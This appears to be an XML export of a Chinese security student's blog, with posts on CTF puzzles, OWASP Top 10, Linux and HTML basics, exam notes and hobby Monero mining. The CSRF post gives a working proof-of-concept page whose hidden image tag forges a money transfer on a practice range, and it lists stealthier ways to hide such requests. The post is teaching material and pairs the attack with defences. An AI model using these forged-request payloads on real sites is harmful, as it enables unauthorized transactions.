    ./hello.sh

    终端打印出 hello world!
    说明:

    • #! 告诉系统这个脚本需要什么解释器来执行。
    • 文件扩展名 .sh 不是强制要求的。
    • 方法1 直接运行解释器,hello.sh 作为 Shell 解释器的参数。此时 Shell 脚本就不需要指定解释器信息,第一行可以去掉。
    • 方法2 hello.sh 作为可执行程序运行,Shell 脚本第一行一定要指定解释器。

    输出从1加到100的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/bin/bash
    SUM=0
    i=0

    while [ $i -le $1 ]
    do
    SUM=$[$SUM+$i]
    i=$[$i+1]
    done
    echo $SUM
    ]]>
    + + + + + blog + + + + + + + Other + + + +
    + + + + + 春秋杯新年欢乐赛 + + /2021/02/07/icqCTF/ + +

    寒假参加了i春秋的CTF ,总结一下。

    签到

    手机打出”FUN”,扫描即可。

    十二宫的挑衅

    test

    关于十二宫杀手:

    链接一

    链接二

    根据新闻内容,先对明文进行向下右移两位,形成新的矩阵,再用这款解密工具即可。

    据说要使用一款叫azdecrypt的工具https://m.majorgeeks.com/files/details/azdecrypt.html

    snowwwww

    1.使用kali自带的工具分离图片

    2.傅里叶变化解密图片水印

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    %% extract watermark
    FA2=fft2(FAO);
    G=(FA2-FA)/alpha;
    GG=G;
    for i=1:imsize(1)*0.5
    for j=1:imsize(2)
    GG(M(i),N(j),:)=G(i,j,:);
    end
    end
    for i=1:imsize(1)*0.5
    for j=1:imsize(2)
    GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:);
    end
    end
    figure,imshow(GG);title('extracted watermark');
    %imwrite(uint8(GG),'extracted watermark.jpg');
    untitled

    3.对图片进行PS

    image-20210313231112239

    COV-2019

    此题比较复杂,要用到很多加密工具。注意的是,有个base32编码。

    ]]>
    + + + + + CTF + + + + + + + CTF + + + +
    + + + + + 记录前端学习--CSS + + /2021/02/06/%E5%89%8D%E7%AB%AFCSS/ + + + + + + + 前端 + + + + + + + web + + 前端 + + + + + + + + + OWASP TOP10 + + /2021/02/05/OWASP/ + +

    The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

    1. 注入
    2. 失效的身份验证
    3. 敏感信息泄露
    4. XML外部实体(XXE)
    5. 失效的访问控制
    6. 安全配置错误
    7. 跨站脚本(XSS)
    8. 不安全的反序列化
    9. 使用含有已知漏洞的组件
    10. 不足的日志记录和监控

    1. Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
    2. Broken Authentication. Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
    3. Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
    4. XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
    5. Broken Access Control. Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
    6. Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
    7. Cross-Site Scripting (XSS). XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
    8. Insecure Deserialization. Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
    9. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
    10. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.
    ]]>
    + + + + + 安全 + + + + + + + web + + 漏洞 + + + +
    + + + + + 浏览器的同源策略与跨站请求伪造(CSRF) + + /2021/01/27/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/ + + 定义

    同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须同源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

    同源的判断如下:

    • 协议相同
    • 域名相同
    • 端口相同

    应用

    同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于cookie来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

    同源比较

    下表列出哪些URL与http://www.example.com/dir/page.html 属于相同来源

    http://en.example.com/dir/other.html不同域名
    http://example.com/dir/other.html不同域名(需要完全匹配)
    **http://**username:password@www.example.com/dir2/other.html只有路径不同
    http://v2.www.example.com/dir/other.html不同域名(需要完全匹配)
    http://www.example.com:**81**/dir/other.html不同端口(若未标明,http:// 默认端口号为80)
    http://www.example.com/dir/page2.html只有路径不同
    http://www.example.com/dir2/other.html只有路径不同
    https://www.example.com/dir/other.html不同协议(httpshttp

    其他

    • 源的继承:在页面中通过 about:blankjavascript: URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有包含源服务器的相关信息。
    • 跨源访问:可以使用 CORS 来允许跨源访问。CORS 是 HTTP 的一部分,它允许服务端来指定哪些主机可以从这个服务端加载资源。
    • 源的更改:满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将 document.domain 的值设置为其当前域或其当前域的父域。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查。

    缺陷

    同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造(CSRF)就是利用同源策略不适用于HTML标签的缺陷。

    CSRF(跨站请求伪造)

    • 定义:挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
    • 与XSS的比较:XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
    • 攻击方法:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
    • 特点:攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户的浏览器,让其以用户的名义运行操作。

    攻击实践

    此处以必火靶场的CSRF-GET型攻击进行实践。

    靶场地址

    image-20210128110300151

    正常转账操作:http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10

    恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php

    访问恶意攻击者页面产生CSRF请求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000

    image-20210128111355278

    打开恶意攻击页面,发现是一个图片,提示:你的账户 钱少了。

    返回查看,果然,账户少了1000元。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>你的账户钱少了吧</title>
    <!-- <script>alert('你的账户钱少了吧!!😳');</script> -->
    </head>
    <body>
    <img src="http://xss.tv/meinv/tila.jpg" width="30%">
    <img src="http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000">
    <!-- <a href="http://www.nanhack.com/user.php">返回用户管理</a> -->

    </body>
    </html>

    <img src>中的链接就是构造了一个“转账”链接。

    但是这种恶意链接构造的CSRF隐蔽性很低,很容易被发现。

    可以利用一些更加隐藏的方式:

    • CSS中background属性里的url链接
    • 利用a标签
    • 设置iframe的style为display:none

    防御措施

    • 令牌同步

      令牌同步模式(英语:Synchronizer token pattern,简称STP)。原理是:当用户发送请求时,服务器端应用将令牌(token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

      局限性:会导致服务端的复杂度升高,复杂度源于令牌的生成和验证。因为令牌是唯一且随机,如果每个表格都使用一个唯一的令牌,那么当页面过多时,服务器由于生产令牌而导致的负担也会增加。而使用会话(session)等级的令牌代替的话,服务器的负担将没有那么重。

    • 检查Referer字段

      HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,这时候服务器就能识别出恶意的访问。

      局限性:因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。

    • 添加校验token

      由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

    参考文献

    1. IETF [rfc:6265 HTTP State Management Mechanism, Apr, 2011]
    2. Kemp, John. Security on the Web. 2011-02-04 [2018-07-24].
    3. Ristic, Ivan. Apache Security. O’Reilly Media. 2005: 280. ISBN 0-596-00724-8.
    4. 阮一峰的网络日志
    5. MDN Web Docs
    ]]>
    + + + + + web + + + + + + + web + + 安全 + + + +
    + + + + + web安全学习路线 + + /2021/01/26/Web%E5%AE%89%E5%85%A8/ + +

    参加了字节跳动安全与风控训练营,根据官网安全综述文档摘录的安全学习路线

    字节跳动官方文档

    web安全

    1. 前端安全

      • XSS
      • 点击劫持
      • 浏览器、webview安全
    2. 接口安全

      • 接口请求
        • 错误的Method
        • 协议:
          • HTTP明文传输
          • 脆弱的加密方法
          • 低版本加密协议
          • //的滥用
          • 协议降级
        • 域名
          • 域名接管
          • 域传送
          • robote.txt
          • 社工钓鱼
        • 敏感端口暴露
        • 路径
          • 目录遍历
          • CRLF漏洞
          • 列目录
          • 敏感文件、目录访问
        • Header
          • CORS绕过
          • CSRF
          • Referer绕过
        • 参数
          • SQL注入
          • 命令执行
          • SSRF
          • 任意文件上传
          • 文件包含
          • XXE
          • 任意网址跳转
          • JSONP劫持
      • 接口鉴权
        • 未鉴权
        • 越权
      • 接口频控
        • 短袖邮件暴力发送
        • 关键接口
        • 发帖、评论
        • 反爬虫
      • 接口返回
        • Header设置缺失
        • 敏感信息返回
        • 返回系统架构、网站路径等基础信息
    3. 安全建设

      • 被动安全
        • WAF
        • IDS,IPS
        • 应急响应
        • 风控
        • 蜜罐
      • 主动安全
        • 安全基线
        • SDLC
        • DAST,IAST
        • SAST
    4. 学习路线

      • 自己搭建博客
        • 安全知识
        • Web知识
      • 安全能力提升
        • 知识学习
        • 靶场练习
        • 实战练习
      • 开发安全工具
      • 参与实习
    ]]>
    + + + + + web + + + + + + + web + + 安全 + + + +
    + + + + + 攻防世界 + + /2021/01/21/CTF/ + + + + + + + CTF + + + + + + + CTF + + + + + + + + + 常用的linux命令 + + /2021/01/21/linux/ + + 常用命令
    序号命令对应英文作用
    01lslist查看当前文件夹下的内容
    02pwdprint work directory查看当前所在文件夹
    03cd[目录名]changge directory切换文件夹
    04touch[文件名]touch如果文件不存在,新建文件
    05mkdir[目录名]make directory创建目录
    06rm[文件名]remove删除指定文件
    07clearclear清屏

    touch

    • 创建文件或修改文件时间
      如果文件 不存在,可以创建一个空白文件
      如果文件 已经存在,可以修改文件的末次修改日期

    mkdir

    • 创建一个新的目录
    选项含义
    -p可以递归创建目录

    新建目录的名称 不能与当前目录中 已有的目录或文件 同名

    rm

    • 删除文件或目录
      使用 rm 命令要小心,因为文件删除后不能恢复
    选项含义
    -f强制删除,忽略不存在的文件,无需提示
    -r递归地删除目录下的内容,删除文件夹 时必须加此参数

    拷贝和移动文件

    序号命令对应英文作用
    01tree [目录名]tree以树状图列出文件目录结构
    02cp 源文件目标文件copy复制文件或者目录
    03mv 源文件 目标文件move移动文件或者目录/文件或者目录重命名

    tree

    • tree 命令可以以树状图列出文件目录结构
    选项含义
    -d只显示目录

    cp

    • cp 命令的功能是将给出的 文件 或 目录 复制到另一个 文件 或 目录 中,相当DOS 下的 copy命令
    选 项含义
    -i覆盖文件前提示
    -r若给出的源文件是目录文件,则 cp 将递归复制该目录下的所有子目录和文件,目标文件必

    须为一个目录名

    mv

    • mv 命令可以用来 移动 文件 或 目录,也可以给 文件或目录重命名
    选项含义
    -i覆盖文件前提示

    查看文件内容

    序 号命令对应英文作用
    01cat 文件名concatenate查看文件内容、创建文件、文件合并、追加文件内容等功能
    02more 文件名more分屏显示文件内容
    03grep 搜索文本 文件名grep搜索文本文件内容

    cat

    cat 命令可以用来 查看文件内容、创建文件、文件合并、追加文件内容 等功能
    cat 会一次显示所有的内容,适合 查看内容较少 的文本文件

    选项含义
    -b对非空输出行编号
    -n对输出的所有行编号
    ]]>
    + + + + + blog + + + + + + + linux + + + +
    + + + + + 记录前端学习--HTML + + /2021/01/20/%E5%89%8D%E7%AB%AFhtml/ + + 学习路线

    先学习基础部分,即web三件套

    • HTML负责结构,网页想要表达的内容由html书写。
    • CSS负责样式,网页的美与丑由它来控制。
    • JS负责交互,用户和网页产生的互动由它来控制。

    然后学习框架,即“大前端开发”

    • vue
    • React
    • angular

    另外学习其他知识

    • 浏览器
    • 网络
    • webpack

    HTML

    超文本标记语言(HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。HTML是一种基础技术,常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。网页浏览器可以读取HTML文件,并将其渲染成可视化网页。HTML描述了一个网站的结构语义随着线索的呈现,使之成为一种标记语言而非编程语言。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <!--
    * @Author: h4m5t
    * @Date: 2021-01-21 10:11:09
    * @LastEditTime: 2021-01-21 20:23:30
    -->
    <!DOCTYPE html>
    <html>
    <head>
    <title>第一个程序</title>
    <!--编码以及屏幕自适应-->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <meta name="keywords" content="测试">
    <!--网页自动跳转-->
    <!--<meta http-equiv="refresh" content="3;https://dydhzj.xyz">-->
    </head>
    <body>
    <img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" alt="tupian">
    <!-- 表示在新的标签页 打开页面-->
    <a href="https://dydhzj.xyz" target="_blank">这是我的博客链接</a>
    </body>
    </html>

    语义与呈现分离

    是一句常见的熟语、一种设计哲学,同时也是在多种出版技术纪律中应用的一种方法学,涉及到信息检索、模板处理、网页设计、网页程序设计、文字处理、桌面出版、模型驱动开发等出版领域。其为关注点分离这个更加宽泛的哲学的特例。一篇文档的实际内容和意义,与这篇文档呈现给读者的方式,是相互独立的。

    • HTML 负责内容结构和含义,内容呈现交给 CSS

    HTML语义化的优点

    1. 便于浏览器解析器解析
    2. 便于搜索引擎解析
    3. 在没有css的情况下,也以一种文档格式显式,并且是容易阅读的
    4. 结构良好,更容易将网站分块;便于阅读,开发和后期维护

    1. 文档与元数据元素

    元素说明类型
    base相对 URL 基础元数据
    bodyHTML 文档内容
    DOCTYPEHTML 开始
    headHTML 文档元数据
    htmlHTML 文档 html 部分
    link外部链接的关系元数据
    meta文档信息元数据
    noscript禁用脚本元数据、短语
    script脚本元数据、短语
    styleCSS 样式元数据
    title文档标题元数据

    2. 文本元素

    元素说明类型
    a超链接短语、流
    abbr缩略语短语
    b非强调标记文字短语
    br换行短语
    cite其他作品标题短语
    code代码片段短语
    del文字删除线短语、流
    dfn术语定义短语
    em强调标记短语
    i与周边不同的文字短语
    ins加入文档的文字短语、流
    kbd用户输入的内容短语
    mark标记短语
    q引用他处的内容短语
    rpruby 标记括号短语
    rtruby 标记注音符号短语
    ruby位于表意文字上方或者右方的注音符号短语
    s表示内容不再准确短语
    samp计算机输出的内容短语
    small小号字体短语
    span同样元素短语
    strong重要内容短语
    sub下标短语
    sup上标短语
    time时间短语
    u非强调标记文字短语
    var计算机中的变量短语
    wbr安全换行的地方短语

    3. 内容

    元素说明类型
    blockquote引用的大段内容
    dddl 元素中,表示定义
    div通用元素,与 span 对应
    dl术语定义的说明列表
    dtdl 元素中,表示术语
    figcaptionfigure 元素的标题
    figure图片
    hr段落级别的主题转换
    liul、ol、menu 元素中,表示列表项
    ol有序列表
    p段落
    pre格式应被保留的内容
    ul无序列表

    4. 划分内容

    元素说明类型
    address文档或者 article 的联系信息
    article作品信息
    aside周边牵涉内容
    details区域,展开获取细节
    footer尾部
    h1-h6标题
    header首部
    hgroup一组标题组织,形成目录
    nav导航元素
    section部分流
    summarydetails 元素中,表示该元素标题

    5. 制表

    元素说明类型
    caption表格标题
    col
    colgroup一组列
    table表格
    tbody表格主体
    td单元格
    tfoot表脚
    th表头表脚单元格
    thead表头
    tr一行单元格

    6. 表单

    元素说明类型
    button按钮短语
    datalist建议列表
    fieldset一组表单元素
    form表单
    input输入短语
    keygen生成公私钥短语
    label表单说明标签短语
    legendfieldset 元素说明标签
    optgroup一组相关的 option 元素
    option用户选择的可选项
    output计算结果短语
    select用户选择固定项短语
    textarea多行输入短语

    7. 嵌入内容

    元素说明类型
    area客户端分区响应区域短语
    audio音频
    canvas画布短语、流
    embed用插件嵌入内容短语
    iframe嵌入另一个文档短语
    img图片短语
    map客户端分区响应短语、流
    meter许可值范围背景中的图形表示短语
    object生成上下文与客户端分区响应图短语、流
    param通过 obj 元素传给插件的参数
    progress进度短语
    source媒体资源
    svg结构化矢量内容
    track媒体附加轨道(如字幕)
    video视频
    ]]>
    + + + + + 前端 + + + + + + + web + + 前端 + + + +
    + + + + + 信息安全 + + /2020/12/21/security/ + +

    最近复习信息系统安全,以及备考NISP,做一些简单的知识点总结。

    第一章

    定义:信息安全一般指信息系统(包括硬件、软件、数据、人、物理环境及其基础设施)受到保护,不受偶然的或者恶意原因的影响而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断,最终实现业务连续性。信息安全的根本目的是使信息不受内部、外部、自然等因素的威胁

    计算机系统安全:为数据处理系统建立和采用的技术和 管理的安全保护,保护计算机硬件、软件和数 据不因偶然和恶意的原因遭到破坏、更改和泄露。

    基本属性:机密性、完整性、可用性

    扩展属性:真实性、不可否认性、可控性

    信息安全保障:采用技术、管理、工程等综合手段,保护信息和信息系统,使其能够安全运行的防护性行为。

    APT攻击:即高级可持续威胁攻击,也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

    image-20201222211631762

    第二章

    PKI公钥基础设施是一个包括硬件、软件、人员、策略和规程的集合,用来实现基于公钥密码体制的密钥和证书的产生、管理、存储、分发和撤销等功能。PKI体系是计算机软硬件、权威机构及应用系统的结合。它为实施电子商务、电子政务、办公自动化等提供了基本的安全服务,从而使那些彼此不认识或距离很远的用户能通过信任链安全地交流。

    访问控制主要包括主体、客体和控制策略三个要素:

    1.主体是指提出访问资源具体请求的实体

    2.客体是指被访问资源的实体

    3.控制策略是指主体对客体的相关访问规则的集合

    image-20201224184633144

    数字证书:

    由第三方可信机构(一般是证书服务器)颁发的数字证书,可以证明身份的可信度。

    第三章

    网络嗅探是通过截获、分析网络中传输的数据而获取有用信息的行为。

    网络钓鱼是指攻击者利用伪造的网站或欺骗性的电子邮件进行的网络诈骗活动。

    VPN:在公用网络上建立专用网络,进行加密通讯。

    防火墙:计算机网络中所说的防火墙,是指设置在不同网络(如:可信任的内网和外网或专用网与不可信的共用网)之间的一系列包括软硬件;在内的部件组合。它在内网和外网之间构建一道保护屏障,网络内部和外部之间的所有数据流必须经过防火墙,只有符合安全标准的数据流才能通过防火墙。

    恶意代码是指故意编制或设置的、对网络或系统会产生威胁和潜在威胁的计算机代码。主要包括病毒、木马和蠕虫等。

    端口扫描:对计算机端口发送信息,然后根据返回端口状态来分析目标计算机的端口是否打开或者可用,为下一步攻击入侵做好准备。

    邮件通信:

    image-20201226152838072

    B/S和C/S架构:

    B/S结构即浏览器和服务器结构。它是随着Internet技术的兴起,对C/S结构的一种变化或者改进的结构。在这种结构下,用户工作界面是通过WWW浏览器来实现,极少部分事务逻辑在前端(Browser)实现,但是主要事务逻辑在服务器端(Server)实现,形成所谓三层3-tier结构。

    C/S 结构,即大家熟知的客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现,降低了系统的通讯开销。

    说白了,BS架构就是浏览器应用,CS架构就是客户端应用,当然应用需要服务器配合,像腾讯就是以C/S结构起家的,其旗下的QQ这一软件就是典型的C/S结构应用,像Facebook就是以B/S为结构的。B/S结构的好处就是方便,不跨平台性好,真正的实现了一次开发,处处运行。C/S结构以其稳定安全著称,降低了通讯代价,但是实现起来麻烦,需要开发服务器和客户端两套系统并且在不同的平台移植起来非常麻烦。所以现在大多是以C/S模式来开发。

    移动终端面临的威胁:

    1.伪基站攻击。以自己为中心冒充基站,向周围手机发送垃圾短信,并且短信中包含恶意链接的情况。
    2.二维码扫描。二维码扫描可能带来如下风险:手机病毒、木马程序。

    容灾:容灾系统是指在相隔较远的异地,建立两套或多套功能相同的IT系统,互相之间可以进行健康状态监视和功能切换,当一处系统因意外(如火灾、地震等)停止工作时,整个应用系统可以切换到另一处,使得该系统功能可以继续正常工作。容灾技术是系统的高可用性技术的一个组成部分,容灾系统更加强调处理外界环境对系统的影响,特别是灾难性事件对整个IT节点的影响,提供节点级别的系统恢复功能。

    灾备:灾难备援,它是指利用科学的技术手段和方法,提前建立系统化的数据应急方式,以应对灾难的发生。其内容包括数据备份和系统备份,业务连续规划、人员架构、通信保障、危机公关,灾难恢复规划、灾难恢复预案、业务恢复预案、紧急事件响应、第三方合作机构和供应链危机管理等等。

    实际工作中的备份策略:

    • 执行完全备份
    • 经常进行增量备份
    • 定期执行差异备份

    操作系统的功能:

    1、进程管理。主要bai是对处理机du进行管理。

    2、存储管理。主zhi要是对内存的dao分配、保护和扩充。

    3、设备管理。对所有输人、输出设备的管理。

    4、文件管理。主要涉及文件的逻辑组织和物理组织,目录的结构和管理。

    5、作业管理。为用户提供一个友好的环境,方便用户组织自己的工作流程。

    信息安全问题产生的根源:信息系统的复杂性会造成系统本身的安全缺陷。

    信息安全应急响应管理过程:1.准备 2.检测 3.遏制 4.根除 5.恢复 6.跟踪

    ]]>
    + + + + + 安全 + + + + + + + 信息安全 + + + +
    + + + + + 云安全 + + /2020/12/17/security/ + + 阿里云安全助理工程师(ACA)

    斥资600大洋,学习了阿里云的云安全ACA,50多个课程都认真的听了一遍。感觉老师讲的不错,不是“只会读PPT”的那种。对阿里巴巴的云管理、云使用、云安全、云生态,有点一些了解。
    当然,考试很简单。也算是考取的第一个专业证书吧,纪念一下。

    image-20201222211323725]]>
    + + + + + 安全 + + + + + + + 云计算 + + 大数据 + + 云安全 + + + +
    + + + + + 记第一次挖矿 + + /2020/11/03/dig/ + + 前言

    很早就听说过比特币,比特币作为一种全新理念的数字货币,在互联网上可谓风起云涌。自2009年始发以来,比特币价格飙升。

    在我写下这篇博文的时候,比特币早已超过一万美元了。

    与日常接触的货币不同,比特币的有限的,在它诞生的那刻就已经决定了。

    区块回报每产出21万个区块减半一次,周期大约为4年,最近一次减半在2020年5月12日28,而此种收敛等比数列的和必然是有限的,到2140年时,将不再有新的比特币产生,最终流通中的比特币将总是略低于2100万个。2019年5月12日时,比特币总存量约17,695,512个,实际可流通的量还会因为私钥丢失等因素更加减少。

    更有趣的是, 比特币的创始人到目前为止还是世界之谜, 真是太”低调”了.

    当然,用PC来挖比特币是一件很不现实的事情,于是我转向了另一个币种:

    Monero,俗称门罗币.它是一个很出名的”匿名币”

    挖矿

    首先,需要有一个自己的”钱包”.

    推荐使用官网提供的GUI,当然也可以找一些轻量级的”网页钱包”.

    系统已经默认生成了以4开头的收款地址,可以将它理解为”银行卡卡号”

    找到矿池

    先假设,你是一个淘金者,你想挖金子,可不是想挖就能挖,你肯定先找一个挖金公司,然后打工,付出劳动,获得回报.同理,我们要先找到一个矿池.

    矿池很多,我找了一个国内比较出名:猫池.https://c3pool.com

    设置挖矿程序

    挖金子还需要什么呢,哦,对了!我们还缺一把铲子!

    我这里以xmrig作为挖矿程序.https://github.com/xmrig/xmrig

    把相应文件下载到服务器,做好配置文件(与选择的矿池有关),准备开挖!

    在矿池页面可以看到,这个服务器的效率是很低的

    于是我尝试在PC上挖矿.效率能达到服务器的十几倍.

    经过连续几个小时的”CPU高强度作业”,终于有了一些收获.

    预估了一下,24小时不间断连续挖一个月,大概能挖到2$的币.

    感想

    在互联网世界,还有很多东西是可以探索的.

    从第一次上网,第一次写出hello,world!第一次看Youtube,到”第一次挖矿”

    很多东西,了解多一点,不是坏事.

    但真正的挖矿,还是交给”真正有实力的矿工”去做吧.

    ]]>
    + + + + + blog + + + + + + + hack + + + +
    + + + + + 黑客术语解释 + + /2020/10/27/hack/ + + 黑客术语

    解释一下常见的术语

    • 肉鸡:僵尸主机(英语:Zombie computer)是指接入互联网受恶意软件感染后,受控于黑客的电脑。其可以随时按照黑客的命令与控制指令展开拒绝服务(DoS)攻击或发送垃圾信息。通常,一部被侵占的电脑只是僵尸网络里面众多中的一个,会被用来去运行一连串的或远程控制的恶意程序。一般电脑的拥有者都没有察觉到自己的系统已经被“僵尸化”,就仿佛是没有自主意识的僵尸一般。
    • Rootkit:Rootkit是指其主要功能为:隐藏其他程序进程的软件,可能是一个或一个以上的软件组合;广义而言,Rootkit也可视为一项技术。在今天,Rootkit一词更多地是指被作为驱动程序,加载到操作系统内核中的恶意软件。因为其代码运行在特权模式之下,从而能造成意料之外的危险。
    • IPC$:是共享 “ 命名管道 “ 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
    • 加壳:在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP。大多数病毒就是基于此原理。
    • 花指令:花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果.
    • 蜜罐:专指用来侦测或抵御未经授权操作或者是黑客攻击的陷阱,蜜罐通常伪装成看似有利用价值的网络、资料、电脑系统,并故意设置了bug,用来吸引黑客攻击。由于蜜罐事实上并未对网络提供任何有价值的服务,所以任何对蜜罐的尝试都是可疑的。蜜罐中还可能装有监控软件,用以监控黑客入侵后的举动。而更常见的用法是用来吸引网络的计算机病毒入侵,从而获得病毒样本用于研究或破解的计算机,杀毒软件公司会利用这些计算机来监视或获得计算机网络中的病毒样本。
    ]]>
    + + + + + blog + + + + + + + hack + + + +
    + + + + + Chrome快捷键 + + /2020/10/25/Chrome/ + + Chorme快捷键
    • 新建标签页:Ctrl + T

    • 重新打开关闭的标签页:Ctrl + Shift + T

    • 新建窗口: Ctrl + N

    • 新建无痕窗口:Shift + Ctrl + N

    • 打开 Home 页面:Alt + Home

    • 同个标签前进 / 后退:Alt + Right / Alt + Left

    • 切换标签页:Ctrl + Tab

    • 关闭标签页:Ctrl + W

    • 关闭窗口:Alt + F4 / Ctrl + Shift + W


    • 下载内容:Ctrl + J

    • 历史记录:Ctrl + H

    • 任务管理器:Shift + Esc

    • 清除历史记录:Ctrl + Shift + Del

    • 跳转到地址栏:Ctrl + L


    • 先下翻页:PgUp

    • 向上翻页:PgDn

    • 滑动到最顶部:Home

    • 滑动到最底部:End

    • 调整页面字体大小:Ctrl + ‘’+’’ / Ctrl + ‘’-‘’

    • 页面字体恢复默认:Ctrl + 0

    • 全屏切换:F11

    ]]>
    + + + + + blog + + + + + + + Chrome + + + +
    + + + + + Windows快捷键 + + /2020/10/25/Win10/ + + win10快捷键
    • win+E 打开我的电脑

    • win+D 打开桌面

    • win+S/Q 搜索

    • win+M 全部窗口最小化

    • win+V 打开剪切板

    • win+W 打开白板

    • win+Shift+S 截屏

    • win+Tab 新建电脑桌面

    • Win+Ctrl+D 新建电脑桌面

    • Win+Ctrl+(←/→) 虚拟桌面间切换

    • win+(↓\↑) 窗口大小

